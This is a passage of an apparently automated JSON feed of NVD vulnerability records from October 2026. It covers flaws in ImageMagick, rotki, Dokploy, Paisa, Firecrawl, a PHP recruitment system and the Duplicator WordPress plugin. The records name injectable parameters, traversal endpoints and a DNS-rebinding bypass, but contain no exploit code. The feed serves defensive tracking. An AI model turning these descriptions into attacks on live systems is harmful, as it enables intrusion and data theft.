CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116149","cveId":"CVE-2026-116149","aliases":[],"kind":"vulnerability","title":"ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images.","summary":"ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.","detail":"ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:53.123Z","updatedAt":"2026-10-26T13:49:46.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116149","asOf":"2026-10-26T13:49:46.657Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116149","type":"primary","publishedAt":"2026-10-25T14:16:53.123Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116071","cveId":"CVE-2026-116071","aliases":[],"kind":"vulnerability","title":"rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user...","summary":"rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user password. Attackers who obtain an uploaded backup blob can run GPU-parallel offline password guessing and decrypt the database containing exchange API keys, secrets, wallet addresses and transaction history.","detail":"rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user password. Attackers who obtain an uploaded backup blob can run GPU-parallel offline password guessing and decrypt the database containing exchange API keys, secrets, wallet addresses and transaction history.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T12:16:29.623Z","updatedAt":"2026-10-25T12:16:29.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116071","asOf":"2026-10-25T12:16:29.623Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116071","type":"primary","publishedAt":"2026-10-25T12:16:29.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116068","cveId":"CVE-2026-116068","aliases":[],"kind":"vulnerability","title":"Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign...","summary":"Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign applicationId values. Attackers can call procedures like saveEnvironment, updateTraefikConfig, deploy, or stop to overwrite environment variables and build secrets, repoint sources, and disrupt other tenants' applications.","detail":"Dokploy through 0.30.10 contains an authorization bypass vulnerability that allows owners or admins of any organization to control other tenants' applications by supplying foreign applicationId values. Attackers can call procedures like saveEnvironment, updateTraefikConfig, deploy, or stop to overwrite environment variables and build secrets, repoint sources, and disrupt other tenants' applications.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T12:16:29.153Z","updatedAt":"2026-10-26T17:17:19.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116068","asOf":"2026-10-26T17:17:19.763Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116068","type":"primary","publishedAt":"2026-10-25T12:16:29.153Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116067","cveId":"CVE-2026-116067","aliases":[],"kind":"vulnerability","title":"Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files...","summary":"Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files and delete backups through ../ sequences in file names. Attackers can send crafted names to the editor file and delete_backups endpoints to read any server-readable file and remove backup files outside the journal or sheets directory.","detail":"Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files and delete backups through ../ sequences in file names. Attackers can send crafted names to the editor file and delete_backups endpoints to read any server-readable file and remove backup files outside the journal or sheets directory.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T12:16:28.997Z","updatedAt":"2026-10-25T12:16:28.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116067","asOf":"2026-10-25T12:16:28.997Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116067","type":"primary","publishedAt":"2026-10-25T12:16:28.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116066","cveId":"CVE-2026-116066","aliases":[],"kind":"vulnerability","title":"Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS...","summary":"Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS rebinding. Attackers controlling DNS for a scrape target can return a public address during validation and a private address at connect time, retrieving cloud metadata and internal resources through the scrape API.","detail":"Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS rebinding. Attackers controlling DNS for a scrape target can return a public address during validation and a private address at connect time, retrieving cloud metadata and internal resources through the scrape API.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T12:16:27.370Z","updatedAt":"2026-10-25T12:16:28.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116066","asOf":"2026-10-25T12:16:28.680Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116066","type":"primary","publishedAt":"2026-10-25T12:16:27.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116050","cveId":"CVE-2026-116050","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file...","summary":"A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file /source/registerform3.php of the component Registration. The manipulation of the argument pemail leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file /source/registerform3.php of the component Registration. The manipulation of the argument pemail leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T09:16:27.740Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116050","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00254,"percentile":0.1676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116050&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116050","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116050","type":"primary","publishedAt":"2026-10-25T09:16:27.740Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116050&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116050, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116049","cveId":"CVE-2026-116049","aliases":[],"kind":"vulnerability","title":"A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file...","summary":"A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file /source/registerform2.php of the component Registration Wizard. Executing a manipulation of the argument university/institute/branch/degree/status/cpi/semester/experience can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A flaw has been found in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this issue is the function mysql_query of the file /source/registerform2.php of the component Registration Wizard. Executing a manipulation of the argument university/institute/branch/degree/status/cpi/semester/experience can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T09:16:27.543Z","updatedAt":"2026-10-26T18:17:43.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116049","asOf":"2026-10-26T18:17:43.360Z"},"epss":{"probability":0.00254,"percentile":0.16758,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116049","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116049","type":"primary","publishedAt":"2026-10-25T09:16:27.543Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116048","cveId":"CVE-2026-116048","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of...","summary":"A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of the file /source/registerform1.php of the component Registration. Performing a manipulation of the argument firstname/middlename/lastname/gender/birthdate/state/statespecify/city/cityspecify results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of the file /source/registerform1.php of the component Registration. Performing a manipulation of the argument firstname/middlename/lastname/gender/birthdate/state/statespecify/city/cityspecify results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T08:16:26.780Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116048","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00254,"percentile":0.16758,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116048","type":"primary","publishedAt":"2026-10-25T08:16:26.780Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115251","cveId":"CVE-2026-115251","aliases":[],"kind":"vulnerability","title":"The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and...","summary":"The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and additionally exposes the routine without authentication, allowing an administrator of a multisite child site who is not a network administrator to install and run arbitrary PHP in the network-wide shared Duplicator  WordPress plugin before 5.0.0 directory.","detail":"The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and additionally exposes the routine without authentication, allowing an administrator of a multisite child site who is not a network administrator to install and run arbitrary PHP in the network-wide shared Duplicator  WordPress plugin before 5.0.0 directory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 